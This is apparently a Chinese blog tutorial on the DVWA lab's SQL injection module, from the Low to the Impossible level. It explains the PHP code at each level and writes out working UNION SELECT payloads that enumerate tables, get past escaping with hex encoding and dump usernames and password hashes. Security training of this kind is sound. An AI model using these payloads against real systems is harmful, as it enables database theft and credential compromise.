Dvwa之sql注入low到impossible级别详解

在这里我所使用的的是Windows 10系统,dvwa+phpstudy_pro进行靶场练习,关于dvwa的介绍网上一搜一大把,在这里就不加以介绍了,我还是把实践内容介绍好吧!我从网上搜到各位大神操作步骤进行整理学习。

本文介绍SQL Injection的相关内容,后续内容会在之后的文章继续介绍。

小白学习中......

Low

后端控制代码

后端代码解析

1、isset()函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false

2、$_REQUEST用来收集HTML表单提交的数据,点击‘submit’按钮提交表单数据

3、query变量为直接构造的sql查询语句,没有对用户的输入进行任何的过滤,导致sql注入的存在。

4、result通过mysqli_query()函数获取数据库查询的结果集。die()函数表示连接数据库失败退出当前脚本。$GLOBALS["___mysqli_ston"]表示数据库的连接语句

5、mysqli_fetch_assoc($result)从结果集中取出一行作为关联数组,即列名和值对应的键值对。

6、最后通过while判断若有查询结果且循环执行$row = mysqli_fetch_assoc( $result ),将结果集中每行结果对应的字段值赋值给相应的字段,并遍历输出。

7、mysqli_close() 函数关闭先前打开的数据库连接。

8、$GLOBALS["___mysqli_ston"]表示数据库的连接语句

9、被包围在 <pre> 标签 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。

10、or  (x or y)如果 x 和 y 有且仅有一个为 true,则返回 true

具体了解菜鸟教程:PHP网站(https://www.runoob.com/php/php-tutorial.html)和MySQL网站(https://www.runoob.com/mysql/mysql-tutorial.html)

先确定正常和不正常的回显

回显,就是显示正在执行的批处理命令及执行的结果等。

输入1时,有回显,是正常的

 

输入“2”,回显正常

 

输入6时,没有回显。

从1~5是查询成功的,而5以后,却不显示,说明有5个用户

判断是否存在注入点

我先尝试数字型注入:“ ’ ”,“and 1=1”,“and 1=2”

首先输入“ ’ ”,查询报错:

 

首先输入“1 and 1=1”,查询成功:

 

当输入“1 and 1=2”的时候,查询成功:

通过注入发现该注入为数字型,而不是字符型

列字段

使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查询成功。

#是注释符号

当输入“1' or 1=1 order by 1 #”时,查询成功:

当输入“1' or 1=1 order by2 #”时,查询成功:

 

当输入“1' or 1=1 order by 3 #”时,查询报错:

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname.

猜测表名

使用命令:1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#,查询成功:

 

 

 

猜测列名

使用命令:1' union select 1, group_concat(column_name) from information_schema.columns  where table_schema=’users’#,查询成功:

 

猜用户密码

使用命令:1' union select null, concat_ws(char(32,58,32),user,password) from users#,查询成功:

 

判断数据库版本

使用命令:1' union select version(),2# ,版本信息大5.0,说明有数据库,可爆出:information_schema  ,查询成功:

获取数据库名称、用户

使用命令:1' union select database(),user()#,查询成功:

爆出dvwa里面的所有表名

使用命令:1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#,查询成功:

爆出users表里面的所有列名

使用命令:1' union select column_name,2 from information_schema.columns where table_name = 'users'#,查询成功:

爆出use和password列里面的数据

使用命令:1' union select user,password from users#  ,查询成功: 但是这个命令需要MD5进行解密(https://pmd5.com/)

 

Medium

该级别需要burpsuite抓包来进行演练

后端控制代码

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

后端代码解析

在low级别中,个别语句已经介绍,在这里就不一一展示,在这里展示一些low级别中未出现的。

1、$_POST接受表单以POST方式传递过来的变量

2、mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

3、mysqli_error() 函数返回最近调用函数的最后一个错误描述。

4、is_object() 函数用于检测变量是否是一个对象。如果指定变量为对象,则返回 TRUE,否则返回 FALSE。

5、$_mysqli_res可能是其中的一个定义,有可能是res=result  这个是我自己的判断

6、mysqli_connect_error() 函数返回上一次连接错误的错误描述。

界面

界面中有列表,该列表表示5个用户和low其实是一样的。

判断是否存在注入点

抓包更改参数id为1’ or 1=1 #,查询报错:

修改抓包参数id为1 or 1=1 #,查询成功:

 

说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号)

 

查询sql查询语句中的字段数

抓包更改参数id为1 order by 2 #,查询成功:

抓包更改参数id为1 order by 3 #,查询报错:

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname。

确定显示的字段顺序

抓包更改参数id为1 union select 1,2 #,查询成功:

获取当前数据库

抓包更改参数id为1 union select 1,database() #,查询成功:

说明当前的数据库为dvwa。

获取数据库中的表

抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

说明数据库dvwa中一共有两个表,guestbook与users。

获取表中的字段名

抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’  #,查询报错:

这是因为单引号被转义了,变成了\’。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

爆出数据

抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,该操作依然需要MD5进行解密,查询成功:

这里就爆出users表中所有的用户的user_id,first_name,last_name,password的数据。

High

后端控制代码

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

后端代码解析

1、$_SESSION 存储和取回 session 变量的正确方法是使用 PHP $_SESSION 变量:

2、LIMIT 1  limit N:返回N条记录

3、is_null() 函数用于检测变量是否为 NULL。如果指定变量为 NULL,则返回 TRUE,否则返回 FALSE。

漏洞利用

抓包更改参数id为1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,该操作依然需要MD5解密,查询成功:

 

需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible

后端控制代码

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

后端代码解析

1、$_GET收集来自表单中的值

2、user_token:用户token

3、is_numeric()函数用于检测变量是否为数字或数字字符串。

4、prepare ()准备要执行的SQL语句并返回一个 PDOStatement 对象

5、bindParam () 绑定一个参数到指定的变量名

6、execute()方法返回对象

7、fetch是一种HTTP数据请求的方式,是XMLHttpRequest的一种替代方案。

8、rowCount — 返回受上一个 SQL 语句影响的行数

generateSessionToken()和CSRF相关联,在这里我也不清楚,我会在以后的时间继续完成

总结

Low、medium和high这三个等级,实际上做法是一样的,只是说他们的提交方式不同,low是get型,medium是post型,high是在一个页面输入,另外一个页面显示,但是是一样的。不过网上说high级别的是防止一般sqlmap注入,而impossible则更加高级。

感谢网上的各位大神分享sql注入的操作步骤和学习心得

参考网站:https://www.e-learn.cn/content/qita/2319755

https://blog.csdn.net/wjy9649/article/details/78844382

https://www.freebuf.com/articles/web/120747.html

https://www.ucloud.cn/yun/32412.html

https://blog.csdn.net/csdn_Pade/article/details/82854764

  • 9
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值